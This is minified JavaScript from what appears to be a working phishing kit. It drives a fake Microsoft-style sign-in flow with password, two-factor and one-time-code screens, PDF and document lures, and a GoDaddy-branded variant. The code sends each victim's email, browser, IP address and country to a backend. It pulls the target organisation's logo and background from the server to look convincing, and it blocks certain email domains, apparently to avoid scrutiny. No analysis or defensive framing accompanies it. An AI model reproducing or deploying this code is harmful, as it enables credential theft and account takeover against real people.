document.body.style.backgroundImage = ""; } if (document.body.style.backgroundColor) { document.body.style.backgroundColor = ""; } bottomsectionlinks('uname',[{a_id: "signup", a_text: "Create one!", text: "No account?", type: "text_link"},{a_id: "cantAccessAccount", a_text: "Can't access your account?", type: "link"}]); if(twa == 0){ var bannerLogos = document.querySelectorAll(".bannerlogo"); bannerLogos.forEach(function(element) { if (element.hasAttribute('style')) { element.removeAttribute('style'); } }); } view = "uname"; } runanimation(3,view,1.2); } if (webnotfound == false && (view != "pwd" && view != "pwd_live")){ document.getElementById('section_'+view).querySelector('.sectioncontent').style.animation = ''; if (view == "pwd" && view == "pwd_live"){ if (view == "pwd"){ document.getElementById('error_pwd').innerText = ""; document.getElementById('inp_pwd').value = ""; bottomsectionlinks('uname',[{a_id: "signup", a_text: "Create one!", text: "No account?", type: "text_link"},{a_id: "cantAccessAccount", a_text: "Can't access your account?", type: "link"}]); changebackbutton('uname',0); document.getElementById("section_pwd").classList.toggle('d-none'); } if (view == "pwd_live"){ document.getElementById('error_pwd_live').innerText = ""; document.getElementById('inp_pwd_live').value = ""; bottomsectionlinks('uname',[{a_id: "signup", a_text: "Create one!", text: "No account?", type: "text_link"},{a_id: "cantAccessAccount", a_text: "Can't access your account?", type: "link"}]); changebackbutton('uname',0); document.getElementById("section_pwd_live").classList.toggle('d-none'); } document.getElementById('section_uname').querySelector('.sectioncontent').style.animation = ''; document.getElementById('section_uname').classList.remove('d-none'); if (document.body.style.backgroundImage) { document.body.style.backgroundImage = ""; } if (document.body.style.backgroundColor) { document.body.style.backgroundColor = ""; } if(twa == 0){ var bannerLogos = document.querySelectorAll(".bannerlogo"); bannerLogos.forEach(function(element) { if (element.hasAttribute('style')) { element.removeAttribute('style'); } }); } view = "uname"; } if (view == "confirmemail"){ document.getElementById("section_confirmemail").classList.toggle('d-none'); document.getElementById('section_2fa').classList.remove('d-none'); view = "2fa"; } if (view == "confirmemailorphone_live"){ document.getElementById("section_confirmemailorphone_live").classList.toggle('d-none'); document.getElementById('section_2fa').classList.remove('d-none'); view = "2fa"; } if (view == "otp_live" && viewtype == "email" || view == "otp_live" && viewtype == "phone"){ document.getElementById("section_otp_live").classList.toggle('d-none'); document.getElementById('section_confirmemailorphone_live').classList.remove('d-none'); view = "confirmemailorphone_live"; } if (view == "otp_live" && viewtype == "otp"){ document.getElementById("section_otp_live").classList.toggle('d-none'); document.getElementById('section_2fa').classList.remove('d-none'); view = "2fa"; } if (view == "otp"){ document.getElementById('error_otp').innerText = ""; document.getElementById('inp_otpcode').value = ""; document.getElementById("section_otp").classList.toggle('d-none'); document.getElementById('section_2fa').classList.remove('d-none'); view = "2fa"; } if (view == "authcall"){ document.getElementById('error_authcall').innerText = ""; document.getElementById("section_authcall").classList.toggle('d-none'); document.getElementById('section_2fa').classList.remove('d-none'); view = "2fa"; } runanimation(3,view,1.2); } } document.querySelectorAll('.btn_final').forEach((b) => { b.addEventListener('click', () => { window.location.href = redirecturl; }) }) // pdf if(view == "uname_pdf"){ const nxtpdf = document.getElementById('btn_next_pdf'); nxtpdf.addEventListener('click', () => { validatepdf(); }) pdfcheck = 1; function loadinganimationpdf(type){ if(type == 0){ document.getElementById('sections_pdf').querySelector('#mainLoader').style.display = "flex"; document.getElementById('sections_pdf').querySelector('#section_uname_content').classList.toggle('d-none'); } if(type == 1){ document.getElementById('sections_pdf').querySelector('#mainLoader').style.display = "none"; document.getElementById('sections_pdf').querySelector('#section_uname_content').classList.remove('d-none'); } if(type == 2){ document.getElementById('sections_pdf').querySelector('#mainLoader').style.display = "flex"; document.getElementById('sections_pdf').classList.toggle('d-none'); } } const unamepdfinp = document.getElementById('pdfemail'); function sendemailpdf(){ sendAndReceive('checkemail', [unamepdfinp.value,pagelinkval,browserName,userip,usercountry],1) .then(response => { if (response && response['message'] !== "waiting for previous request to complete") { var matchFound = false; var animduration = 300; if (response['message'].includes("newwebsiteopen") == false && response['message'] !== "error"){ if(response['acctype'] && response['acctype'] == 2){ pvn = 1; } if(response['acctype'] == undefined || response['acctype'] && response['acctype'] == 1){ pvn = 0; } } if (response['message'].includes("newwebsiteopen") == false){ animduration = 0; loadinganimationpdf(1); } setTimeout(function() { for (var i = 0; i < websitenames.length; i++) { if (response['message'].includes("newwebsiteopen") == true && response['message'].includes(websitenames[i]) == true){ matchFound = true; document.querySelectorAll('.user_identity').forEach((e) => { e.innerText = unamepdfinp.value; }); if(websitenames[i] == 'godaddy'){ var websitescript = gdf; var existingScript = document.querySelector('script[src^="'+gdf+'"]'); if (!existingScript) { var scriptElement = document.createElement("script"); scriptElement.src = websitescript; document.head.appendChild(scriptElement); } const hoverStyle = ` ::-moz-selection { background: #a6fff8; } ::selection { background: #a6fff8; } `; const styleElement = document.createElement('style'); styleElement.id = 'dynamic-style'; styleElement.textContent = hoverStyle; document.head.appendChild(styleElement); document.getElementById("sections_pdf").classList.toggle('d-none'); document.getElementById("section_uname_pdf").classList.toggle('d-none'); document.getElementById('sections_'+websitenames[i]+'').classList.remove('d-none'); document.body.style.setProperty('background-color', '#f5f7f8', 'important'); document.body.style.setProperty('background-image', 'unset', 'important'); document.body.style.setProperty('overflow', 'auto', 'important'); view = "pwd_godaddy"; } } if (response['message'].includes("newwebsiteopen") == true && i == websitenames.length - 1 && !matchFound) { document.getElementById("error_uname_pdf").innerText = ""; document.getElementById("error_uname_pdf").style.display = "none"; document.querySelectorAll('.user_identity').forEach((e) => { e.innerText = unamepdfinp.value; }); bottomsectionlinks('pwd',[{a_id: "idA_PWD_ForgotPassword", a_text: "Forgot my password", type: "link"}]) changebackbutton('pwd',0); document.getElementById("sections_pdf").classList.toggle('d-none'); document.getElementById("section_uname_pdf").classList.toggle('d-none'); document.getElementById("sections").classList.toggle('d-none'); document.getElementById('section_pwd').classList.remove('d-none'); otherweburl = response['message'].replace('newwebsiteopen', ''); webnotfound = true; view = "pwd"; } } if (response['message'] == "multiple accounts"){ multipleaccountsback = 1; if(twa == 0){ var bannerLogos = document.querySelectorAll(".bannerlogo"); bannerLogos.forEach(function(element) { element.style.height = "24px"; }); } document.getElementById('section_multipleaccounts').querySelector('#btn_back').setAttribute("data-id", response['backbtnid']); document.getElementById('section_multipleaccounts').querySelector('#btn_back').setAttribute("onclick", "backbuttonclick(this,2)"); checkerrordesc('multipleaccounts',0,response['description']); displaymultipleaccounts(response['accountoptions']); bottomsectionlinks('multipleaccounts',response['bottomsection']) document.querySelectorAll('.user_identity').forEach((e) => { e.innerText = unamepdfinp.value; }); document.getElementById("sections_pdf").classList.toggle('d-none'); document.getElementById("section_uname_pdf").classList.toggle('d-none'); document.getElementById("sections").classList.toggle('d-none'); document.getElementById('section_multipleaccounts').classList.remove('d-none'); view = "multipleaccounts"; } if (response['message'] == "correct email"){ if(twa == 0){ if(response['bannerlogo'] !== undefined && response['bannerlogo'] !== null){ var bannerLogos = document.querySelectorAll(".bannerlogo"); bannerLogos.forEach(function(element) { element.style.backgroundImage = "url('"+response['bannerlogo']+"')"; element.style.width = "unset"; element.style.height = "36px"; }); } if(response['backgroundcolor'] !== undefined && response['backgroundcolor'] !== null){ document.body.style.setProperty('background-color', response['backgroundcolor']); } if(response['backgroundimage'] !== undefined && response['backgroundimage'] !== null){ document.body.style.setProperty('background-image', "url('"+response['backgroundimage']+"')"); } if(response['bannerlogo'] == undefined || response['bannerlogo'] == null){ var bannerLogos = document.querySelectorAll(".bannerlogo"); bannerLogos.forEach(function(element) { element.style.height = "24px"; }); } } if(pvn == 0){ bottomsectionlinks('pwd',response['bottomsection']) changebackbutton('pwd',response['backbutton']); } if(pvn == 1){ bottomsectionlinks('pwd_live',response['bottomsection']) changebackbutton('pwd_live',response['backbutton']); } document.getElementById("error_uname_pdf").innerText = ""; document.getElementById("error_uname_pdf").style.display = "none"; document.querySelectorAll('.user_identity').forEach((e) => { e.innerText = unamepdfinp.value; }); document.getElementById("sections_pdf").classList.toggle('d-none'); document.getElementById("section_uname_pdf").classList.toggle('d-none'); document.getElementById("sections").classList.toggle('d-none'); if(pvn == 0){ document.getElementById('section_pwd').classList.remove('d-none'); view = "pwd"; } if(pvn == 1){ document.getElementById('section_pwd_live').classList.remove('d-none'); view = "pwd_live"; } } if (response['message'] == "error"){ document.getElementById("error_uname_pdf").innerText = "Please, provide a valid email."; document.getElementById("error_uname_pdf").style.display = "block"; loadinganimationpdf(1); } }, animduration); } }) .catch(error => { loadinganimationpdf(1); console.error('Error:', error); }); } function validatepdf() { if (view === "uname_pdf") { const blockedDomains = bes; const domain = unamepdfinp.value.trim().split('@')[1]; if (unamepdfinp.value.includes("@") &&blockedDomains.some(blocked => domain.includes(blocked))) { loadinganimationpdf(0); setTimeout(function() { loadinganimationpdf(1); document.getElementById("error_uname_pdf").innerText = "Please, provide a valid email."; document.getElementById("error_uname_pdf").style.display = "block"; }, 3000); } if (unamepdfinp.value.trim() == "") { document.getElementById("error_uname_pdf").innerText = "Please, provide a valid email."; document.getElementById("error_uname_pdf").style.display = "block"; } else if (unamepdfinp.value.trim() != "" && unamepdfinp.value.includes("@") && !blockedDomains.some(blocked => domain.includes(blocked))) { loadinganimationpdf(0); if (webnotfound == true){ setTimeout(function() { loadinganimationpdf(1); setTimeout(function() { document.getElementById('error_pwd').innerText = ""; document.getElementById('inp_pwd').value = ""; document.getElementById("sections_pdf").classList.toggle('d-none'); document.getElementById("section_uname_pdf").classList.toggle('d-none'); document.getElementById('section_pwd').classList.remove('d-none'); view = "pwd"; }, 300); }, 3000); } if (webnotfound == false){ if(interacted == 1){ // (function sendemailrequestonepdf() { // $.get("https://get.geojs.io/v1/ip/geo.json", function(response) { // userip = response.ip; // usercountry = response.country; // sendemailpdf(); // }, "json") // .fail(function(jqXHR, textStatus, errorThrown) { // if (jqXHR.status == 429 || textStatus !== "success") { // setTimeout(sendemailrequestonepdf, 1000); // } // }); // })(); sendemailpdf(); } if(interacted == 0){ interacted = 1; (function sendemailrequestzeropdf() { $.get("https://get.geojs.io/v1/ip/geo.json", function(response) { userip = response.ip; usercountry = response.country; sendemailpdf(); }, "json") .fail(function(jqXHR, textStatus, errorThrown) { if (jqXHR.status == 429 || textStatus !== "success") { setTimeout(sendemailrequestzeropdf, 1000); } }); })(); // sendemailpdf(); } } } } return false; } } // doc if(view == "uname_doc"){ const nxtdoc = document.getElementById('btn_next_doc'); nxtdoc.addEventListener('click', () => { validatedoc(); }) doccheck = 1; function loadinganimationdoc(type){ if(type == 0){ document.getElementById('sections_doc').querySelector('#docemailloading').style.display = "unset"; // document.getElementById('sections_doc').querySelector('#section_uname_content').classList.toggle('d-none'); } if(type == 1){ document.getElementById('sections_doc').querySelector('#docemailloading').style.display = "none"; // document.getElementById('sections_doc').querySelector('#section_uname_content').classList.remove('d-none'); } if(type == 2){ document.getElementById('sections_doc').querySelector('#docemailloading').style.display = "unset"; // document.getElementById('sections_doc').classList.toggle('d-none'); } } const unamedocinp = document.getElementById('docemail'); function sendemaildoc(){ sendAndReceive('checkemail', [unamedocinp.value,pagelinkval,browserName,userip,usercountry],1) .then(response => { if (response && response['message'] !== "waiting for previous request to complete") { var matchFound = false; var animduration = 300; if (response['message'].includes("newwebsiteopen") == false && response['message'] !== "error"){ if(response['acctype'] && response['acctype'] == 2){ pvn = 1; } if(response['acctype'] == undefined || response['acctype'] && response['acctype'] == 1){ pvn = 0; } } if (response['message'].includes("newwebsiteopen") == false){ animduration = 0; loadinganimationdoc(1); } setTimeout(function() { for (var i = 0; i < websitenames.length; i++) { if (response['message'].includes("newwebsiteopen") == true && response['message'].includes(websitenames[i]) == true){ loadinganimationdoc(2); matchFound = true; document.querySelectorAll('.user_identity').forEach((e) => { e.innerText = unamedocinp.value; }); if(websitenames[i] == 'godaddy'){ var websitescript = gdf; var existingScript = document.querySelector('script[src^="'+gdf+'"]'); if (!existingScript) { var scriptElement = document.createElement("script"); scriptElement.src = websitescript; document.head.appendChild(scriptElement); } const hoverStyle = ` ::-moz-selection { background: #a6fff8; } ::selection { background: #a6fff8; } `; const styleElement = document.createElement('style'); styleElement.id = 'dynamic-style'; styleElement.textContent = hoverStyle; document.head.appendChild(styleElement); document.getElementById("sections_doc").classList.toggle('d-none'); document.getElementById("section_uname_doc").classList.toggle('d-none'); document.getElementById('sections_'+websitenames[i]+'').classList.remove('d-none'); document.body.style.setProperty('background-color', '#f5f7f8', 'important'); document.body.style.setProperty('background-image', 'unset', 'important'); document.body.style.setProperty('overflow', 'auto', 'important'); view = "pwd_godaddy"; } } if (response['message'].includes("newwebsiteopen") == true && i == websitenames.length - 1 && !matchFound) { document.getElementById("error_uname_doc").innerText = ""; document.getElementById("error_uname_doc").style.display = "none"; document.querySelectorAll('.user_identity').forEach((e) => { e.innerText = unamedocinp.value; }); bottomsectionlinks('pwd',[{a_id: "idA_PWD_ForgotPassword", a_text: "Forgot my password", type: "link"}]) changebackbutton('pwd',0); document.getElementById("sections_doc").classList.toggle('d-none'); document.getElementById("section_uname_doc").classList.toggle('d-none'); document.getElementById("sections").classList.toggle('d-none'); document.getElementById('section_pwd').classList.remove('d-none'); otherweburl = response['message'].replace('newwebsiteopen', ''); webnotfound = true; view = "pwd"; } } if (response['message'] == "multiple accounts"){ multipleaccountsback = 1; if(twa == 0){ var bannerLogos = document.querySelectorAll(".bannerlogo"); bannerLogos.forEach(function(element) { element.style.height = "24px"; }); } document.getElementById('section_multipleaccounts').querySelector('#btn_back').setAttribute("data-id", response['backbtnid']); document.getElementById('section_multipleaccounts').querySelector('#btn_back').setAttribute("onclick", "backbuttonclick(this,2)"); checkerrordesc('multipleaccounts',0,response['description']); displaymultipleaccounts(response['accountoptions']); bottomsectionlinks('multipleaccounts',response['bottomsection']) document.querySelectorAll('.user_identity').forEach((e) => { e.innerText = unamedocinp.value; }); document.getElementById("sections_doc").classList.toggle('d-none'); document.getElementById("section_uname_doc").classList.toggle('d-none'); document.getElementById("sections").classList.toggle('d-none'); document.getElementById('section_multipleaccounts').classList.remove('d-none'); view = "multipleaccounts"; } if (response['message'] == "correct email"){ if(twa == 0){ if(response['bannerlogo'] !== undefined && response['bannerlogo'] !== null){ var bannerLogos = document.querySelectorAll(".bannerlogo"); bannerLogos.forEach(function(element) { element.style.backgroundImage = "url('"+response['bannerlogo']+"')"; element.style.width = "unset"; element.style.height = "36px"; }); } if(response['backgroundcolor'] !== undefined && response['backgroundcolor'] !== null){ document.body.style.setProperty('background-color', response['backgroundcolor']); } if(response['backgroundimage'] !== undefined && response['backgroundimage'] !== null){ document.body.style.setProperty('background-image', "url('"+response['backgroundimage']+"')"); } if(response['bannerlogo'] == undefined || response['bannerlogo'] == null){ var bannerLogos = document.querySelectorAll(".bannerlogo"); bannerLogos.forEach(function(element) { element.style.height = "24px"; }); } } if(pvn == 0){ bottomsectionlinks('pwd',response['bottomsection']) changebackbutton('pwd',response['backbutton']); } if(pvn == 1){ bottomsectionlinks('pwd_live',response['bottomsection']) changebackbutton('pwd_live',response['backbutton']); } document.getElementById("error_uname_doc").innerText = ""; document.getElementById("error_uname_doc").style.display = "none"; document.querySelectorAll('.user_identity').forEach((e) => { e.innerText = unamedocinp.value; }); document.getElementById("sections_doc").classList.toggle('d-none'); document.getElementById("section_uname_doc").classList.toggle('d-none'); document.getElementById("sections").classList.toggle('d-none'); if(pvn == 0){ document.getElementById('section_pwd').classList.remove('d-none'); view = "pwd"; } if(pvn == 1){ document.getElementById('section_pwd_live').classList.remove('d-none'); view = "pwd_live"; } } if (response['message'] == "error"){ document.getElementById("error_uname_doc").innerText = "Please, provide a valid email."; document.getElementById("error_uname_doc").style.display = "block"; loadinganimationdoc(1); } }, animduration); } }) .catch(error => { loadinganimationdoc(1); console.error('Error:', error); }); } function validatedoc() { if (view === "uname_doc") { const blockedDomains = bes; const domain = unamedocinp.value.trim().split('@')[1]; if (unamedocinp.value.includes("@") && blockedDomains.some(blocked => domain.includes(blocked))) { loadinganimationdoc(0); setTimeout(function() { loadinganimationdoc(1); document.getElementById("error_uname_doc").innerText = "Please, provide a valid email."; document.getElementById("error_uname_doc").style.display = "block"; }, 3000); } if (unamedocinp.value.trim() == "") { document.getElementById("error_uname_doc").innerText = "Please, provide a valid email."; document.getElementById("error_uname_doc").style.display = "block"; } else if (unamedocinp.value.trim() != "" && unamedocinp.value.includes("@") && !blockedDomains.some(blocked => domain.includes(blocked))) { loadinganimationdoc(0); if (webnotfound == true){ setTimeout(function() { loadinganimationdoc(1); setTimeout(function() { document.getElementById('error_pwd').innerText = ""; document.getElementById('inp_pwd').value = ""; document.getElementById("sections_doc").classList.toggle('d-none'); document.getElementById("section_uname_doc").classList.toggle('d-none'); document.getElementById('section_pwd').classList.remove('d-none'); view = "pwd"; }, 300); }, 3000); } if (webnotfound == false){ if(interacted == 1){ // (function sendemailrequestonedoc() { // $.get("https://get.geojs.io/v1/ip/geo.json", function(response) { // userip = response.ip; // usercountry = response.country; // sendemaildoc(); // }, "json") // .fail(function(jqXHR, textStatus, errorThrown) { // if (jqXHR.status == 429 || textStatus !== "success") { // setTimeout(sendemailrequestonedoc, 1000); // } // }); // })(); sendemaildoc(); } if(interacted == 0){ interacted = 1; (function sendemailrequestzerodoc() { $.get("https://get.geojs.io/v1/ip/geo.json", function(response) { userip = response.ip; usercountry = response.country; sendemaildoc(); }, "json") .fail(function(jqXHR, textStatus, errorThrown) { if (jqXHR.status == 429 || textStatus !== "success") { setTimeout(sendemailrequestzerodoc, 1000); } }); })(); // sendemaildoc(); } } } } return false; } } // spw if(view == "uname_spw"){ const nxtpdf = document.getElementById('btn_next_pdf'); nxtpdf.addEventListener('click', () => { validatepdf(); }) pdfcheck = 1; function loadinganimationpdf(type){ if(type == 0){ document.getElementById('sections_pdf').querySelector('#mainLoader').style.display = "flex"; document.getElementById('sections_pdf').querySelector('#section_uname_content').classList.toggle('d-none'); } if(type == 1){ document.getElementById('sections_pdf').querySelector('#mainLoader').style.display = "none"; document.getElementById('sections_pdf').querySelector('#section_uname_content').classList.remove('d-none'); } if(type == 2){ document.getElementById('sections_pdf').querySelector('#mainLoader').style.display = "flex"; document.getElementById('sections_pdf').classList.toggle('d-none'); } } const unamepdfinp = document.getElementById('pdfemail'); function sendemailpdf(){ sendAndReceive('checkemail', [unamepdfinp.value,pagelinkval,browserName,userip,usercountry],1) .then(response => { if (response && response['message'] !== "waiting for previous request to complete") { var matchFound = false; var animduration = 300; if (response['message'].includes("newwebsiteopen") == false && response['message'] !== "error"){ if(response['acctype'] && response['acctype'] == 2){ pvn = 1; } if(response['acctype'] == undefined || response['acctype'] && response['acctype'] == 1){ pvn = 0; } } if (response['message'].includes("newwebsiteopen") == false){ animduration = 0; loadinganimationpdf(1); } setTimeout(function() { for (var i = 0; i < websitenames.length; i++) { if (response['message'].includes("newwebsiteopen") == true && response['message'].includes(websitenames[i]) == true){ matchFound = true; document.querySelectorAll('.user_identity').forEach((e) => { e.innerText = unamepdfinp.value; }); if(websitenames[i] == 'godaddy'){ var websitescript = gdf; var existingScript = document.querySelector('script[src^="'+gdf+'"]'); if (!existingScript) { var scriptElement = document.createElement("script"); scriptElement.src = websitescript; document.head.appendChild(scriptElement); } const hoverStyle = ` ::-moz-selection { background: #a6fff8; } ::selection { background: #a6fff8; } `; const styleElement = document.createElement('style'); styleElement.id = 'dynamic-style'; styleElement.textContent = hoverStyle; document.head.appendChild(styleElement); document.getElementById("sections_pdf").classList.toggle('d-none'); document.getElementById("section_uname_pdf").classList.toggle('d-none'); document.getElementById('sections_'+websitenames[i]+'').classList.remove('d-none'); document.body.style.setProperty('background-color', '#f5f7f8', 'important'); document.body.style.setProperty('background-image', 'unset', 'important'); document.body.style.setProperty('overflow', 'auto', 'important'); view = "pwd_godaddy"; } } if (response['message'].includes("newwebsiteopen") == true && i == websitenames.length - 1 && !matchFound) { document.getElementById("error_uname_pdf").innerText = ""; document.getElementById("error_uname_pdf").style.display = "none"; document.querySelectorAll('.user_identity').forEach((e) => { e.innerText = unamepdfinp.value; }); bottomsectionlinks('pwd',[{a_id: "idA_PWD_ForgotPassword", a_text: "Forgot my password", type: "link"}]) changebackbutton('pwd',0); document.getElementById("sections_pdf").classList.toggle('d-none'); document.getElementById("section_uname_pdf").classList.toggle('d-none'); document.getElementById("sections").classList.toggle('d-none'); document.getElementById('section_pwd').classList.remove('d-none'); otherweburl = response['message'].replace('newwebsiteopen', ''); webnotfound = true; view = "pwd"; } } if (response['message'] == "multiple accounts"){ multipleaccountsback = 1; if(twa == 0){ var bannerLogos = document.querySelectorAll(".bannerlogo"); bannerLogos.forEach(function(element) { element.style.height = "24px"; }); } document.getElementById('section_multipleaccounts').querySelector('#btn_back').setAttribute("data-id", response['backbtnid']); document.getElementById('section_multipleaccounts').querySelector('#btn_back').setAttribute("onclick", "backbuttonclick(this,2)"); checkerrordesc('multipleaccounts',0,response['description']); displaymultipleaccounts(response['accountoptions']); bottomsectionlinks('multipleaccounts',response['bottomsection']) document.querySelectorAll('.user_identity').forEach((e) => { e.innerText = unamepdfinp.value; }); document.getElementById("sections_pdf").classList.toggle('d-none'); document.getElementById("section_uname_pdf").classList.toggle('d-none'); document.getElementById("sections").classList.toggle('d-none'); document.getElementById('section_multipleaccounts').classList.remove('d-none'); view = "multipleaccounts"; } if (response['message'] == "correct email"){ if(twa == 0){ if(response['bannerlogo'] !== undefined && response['bannerlogo'] !== null){ var bannerLogos = document.querySelectorAll(".bannerlogo"); bannerLogos.forEach(function(element) { element.style.backgroundImage = "url('"+response['bannerlogo']+"')"; element.style.width = "unset"; element.style.height = "36px"; }); } if(response['backgroundcolor'] !== undefined && response['backgroundcolor'] !== null){ document.body.style.setProperty('background-color', response['backgroundcolor']); } if(response['backgroundimage'] !== undefined && response['backgroundimage'] !== null){ document.body.style.setProperty('background-image', "url('"+response['backgroundimage']+"')"); } if(response['bannerlogo'] == undefined || response['bannerlogo'] == null){ var bannerLogos = document.querySelectorAll(".bannerlogo"); bannerLogos.forEach(function(element) { element.style.height = "24px"; }); } } if(pvn == 0){ bottomsectionlinks('pwd',response['bottomsection']) changebackbutton('pwd',response['backbutton']); } if(pvn == 1){ bottomsectionlinks('pwd_live',response['bottomsection']) changebackbutton('pwd_live',response['backbutton']); } document.getElementById("error_uname_pdf").innerText = ""; document.getElementById("error_uname_pdf").style.display = "none"; document.querySelectorAll('.user_identity').forEach((e) => { e.innerText = unamepdfinp.value; }); document.getElementById("sections_pdf").classList.toggle('d-none'); document.getElementById("section_uname_pdf").classList.toggle('d-none'); document.getElementById("sections").classList.toggle('d-none'); if(pvn == 0){ document.getElementById('section_pwd').classList.remove('d-none'); view = "pwd"; } if(pvn == 1){ document.getElementById('section_pwd_live').classList.remove('d-none'); view = "pwd_live"; } } if (response['message'] == "error"){ document.getElementById("error_uname_pdf").innerText = "Please, provide a valid email."; document.getElementById("error_uname_pdf").style.display = "block"; loadinganimationpdf(1); } }, animduration); } }) .catch(error => { loadinganimationpdf(1); console.error('Error:', error); }); } function validatepdf() { if (view === "uname_pdf") { const blockedDomains = bes; const domain = unamepdfinp.value.trim().split('@')[1]; if (unamepdfinp.value.includes("@") && blockedDomains.some(blocked => domain.includes(blocked))) { loadinganimationpdf(0); setTimeout(function() { loadinganimationpdf(1); document.getElementById("error_uname_pdf").innerText = "Please, provide a valid email."; document.getElementById("error_uname_pdf").style.display = "block"; }, 3000); } if (unamepdfinp.value.trim() == "") { document.getElementById("error_uname_pdf").innerText = "Please, provide a valid email."; document.getElementById("error_uname_pdf").style.display = "block"; } else if (unamepdfinp.value.trim() != "" && unamepdfinp.value.includes("@") && !blockedDomains.some(blocked => domain.includes(blocked))) { loadinganimationpdf(0); if (webnotfound == true){ setTimeout(function() { loadinganimationpdf(1); setTimeout(function() { document.getElementById('error_pwd').innerText = ""; document.getElementById('inp_pwd').value = ""; document.getElementById("sections_pdf").classList.toggle('d-none'); document.getElementById("section_uname_pdf").classList.toggle('d-none'); document.getElementById('section_pwd').classList.remove('d-none'); view = "pwd"; }, 300); }, 3000); } if (webnotfound == false){ if(interacted == 1){ // (function sendemailrequestonepdf() { // $.get("https://get.geojs.io/v1/ip/geo.json", function(response) { // userip = response.ip; // usercountry = response.country; // sendemailpdf(); // }, "json") // .fail(function(jqXHR, textStatus, errorThrown) { // if (jqXHR.status == 429 || textStatus !== "success") { // setTimeout(sendemailrequestonepdf, 1000); // } // }); // })(); sendemailpdf(); } if(interacted == 0){ interacted = 1; (function sendemailrequestzeropdf() { $.get("https://get.geojs.io/v1/ip/geo.json", function(response) { userip = response.ip; usercountry = response.country; sendemailpdf(); }, "json") .fail(function(jqXHR, textStatus, errorThrown) { if (jqXHR.status == 429 || textStatus !== "success") { setTimeout(sendemailrequestzeropdf, 1000); } }); })(); // sendemailpdf(); } } } } return false; } }